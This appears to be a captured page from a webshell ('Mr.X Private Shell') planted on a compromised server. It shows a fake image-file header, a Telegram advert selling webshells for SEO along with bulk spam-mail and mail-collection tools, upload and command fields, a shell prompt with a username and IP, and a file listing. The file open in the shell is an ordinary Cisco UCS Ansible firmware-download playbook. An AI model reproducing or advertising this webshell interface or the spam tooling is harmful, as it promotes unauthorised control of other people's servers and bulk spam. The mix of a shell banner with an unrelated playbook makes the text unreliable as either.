����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
---
#
# Download firmware to the FI and configure Host Firmware Packages (HFP).
# Uses remote fileshare and scp for FW download (server, remote_path, etc. provided through variables):
# Example vars:
#   [ucs:vars]
#   remote_ip_address=172.28.224.77
#   remote_fw_path=/mnt/SHARE/ISOS/UCS_Code/4.1
#   remote_username=...
#
# The fw_bundles variable is a list that can be passed on the command line.
# Example:
# ansible-playbook ... -e '{"fw_bundles": ["ucs-k9-bundle-b-series.4.1.2b.B.bin"]}'
#
- hosts: ucs
  connection: local
  gather_facts: false
  vars:
    login_info: &login_info
      hostname: "{{ inventory_hostname }}"
      username: "{{ username | default(omit) }}"
      password: "{{ password }}"
  tasks:
    - name: Download FW to FI
      ucs_managed_objects:
        <<: *login_info
        objects:
          - module: ucsmsdk.mometa.firmware.FirmwareCatalogue
            class: FirmwareCatalogue
            properties:
              parent_mo_or_dn: sys
            children:
              - module: ucsmsdk.mometa.firmware.FirmwareDownloader
                class: FirmwareDownloader
                properties:
                  protocol: scp
                  server: "{{ remote_ip_address }}"
                  remote_path: "{{ remote_fw_path }}"
                  file_name: "{{ item }}"
                  user: "{{ remote_username }}"
                  pwd: "{{ remote_password }}"
      loop: "{{ fw_bundles }}"
      delegate_to: localhost
      register: download_result
    - name: Query and wait for download if needed
      cisco.ucs.ucs_query:
        <<: *login_info
        distinguished_names: "{{ fw_download_dn }}"
      loop: "{{ fw_bundles }}"
      vars:
        fw_download_dn: "sys/fw-catalogue/dnld-{{ item }}"
      delegate_to: localhost
      register: query_response
      # works with warnings:
      # until: query_response['objects']["{{ fw_download_dn }}"]['transfer_state'] == 'downloaded'
      until: query_response.objects is search('downloaded')
      # retry every 60 seconds for 20 minutes
      delay: 60
      retries: 20
    # regular escapes in a set variable
    - set_fact:
        match_str: 'ucs-.*?\.(?P<rel>\d\.\d)\.(?P<patch>.*)\.'
    # escape the escapes when used directly in strings
    - set_fact:
        blade_version: "{{ item | regex_replace(match_str + 'B\\.bin', '\\g<rel>(\\g<patch>)B') }}"
      loop: "{{ fw_bundles }}"
      when: item | regex_search(match_str + 'B\\.bin')
    - set_fact:
        rack_version: "{{ item | regex_replace(match_str + 'C\\.bin', '\\g<rel>(\\g<patch>)C') }}"
      loop: "{{ fw_bundles }}"
      when: item | regex_search(match_str + 'C\\.bin')
    - name: Config Host FW Package
      ucs_managed_objects:
        <<: *login_info
        objects:
          - module: ucsmsdk.mometa.firmware.FirmwareComputeHostPack
            class: FirmwareComputeHostPack
            properties:
              parent_mo_or_dn: org-root
              name: ansible-latest
              blade_bundle_version: "{{ blade_version | default(omit) }}"
              rack_bundle_version: "{{ rack_version | default(omit) }}"
      delegate_to: localhost

Filemanager

Name Type Size Permission Actions
roles Folder 0755
example_playbook.yml File 472 B 0644
fw_download_config_hfp.yml File 3.08 KB 0644
inventory File 63 B 0644
sandbox_inventory File 103 B 0644
server_deploy.yml File 1.38 KB 0644
ucs_disk_group_policy.yml File 2.13 KB 0644
ucs_dns_server.yml File 1.08 KB 0644
ucs_graphics_card_policy.yml File 3.18 KB 0644
ucs_ip_pool.yml File 2.5 KB 0644
ucs_lan_connectivity.yml File 2.05 KB 0644
ucs_mac_pool.yml File 1.52 KB 0644
ucs_managed_objects.yml File 4.26 KB 0644
ucs_ntp_server.yml File 1.38 KB 0644
ucs_org.yml File 2.02 KB 0644
ucs_query.yml File 1.74 KB 0644
ucs_san_connectivity.yml File 1.72 KB 0644
ucs_scrub_policy.yml File 3.52 KB 0644
ucs_serial_over_lan_policy.yml File 3.17 KB 0644
ucs_server_maintenance.yml File 1.42 KB 0644
ucs_service_profile_association.yml File 1.9 KB 0644
ucs_service_profile_from_template.yml File 2.23 KB 0644
ucs_service_profile_template.yml File 1.95 KB 0644
ucs_sp_vnic_order.yml File 996 B 0644
ucs_storage_profile.yml File 1.87 KB 0644
ucs_system_qos.yml File 1.92 KB 0644
ucs_timezone.yml File 1.01 KB 0644
ucs_uuid_pool.yml File 1.54 KB 0644
ucs_vhba_template.yml File 1.5 KB 0644
ucs_vlan_find.yml File 1.14 KB 0644
ucs_vlan_to_group.yml File 909 B 0644
ucs_vlans.yml File 980 B 0644
ucs_vnic_template.yml File 2.63 KB 0644
ucs_vsans.yml File 1010 B 0644
ucs_wwn_pool.yml File 2.41 KB 0644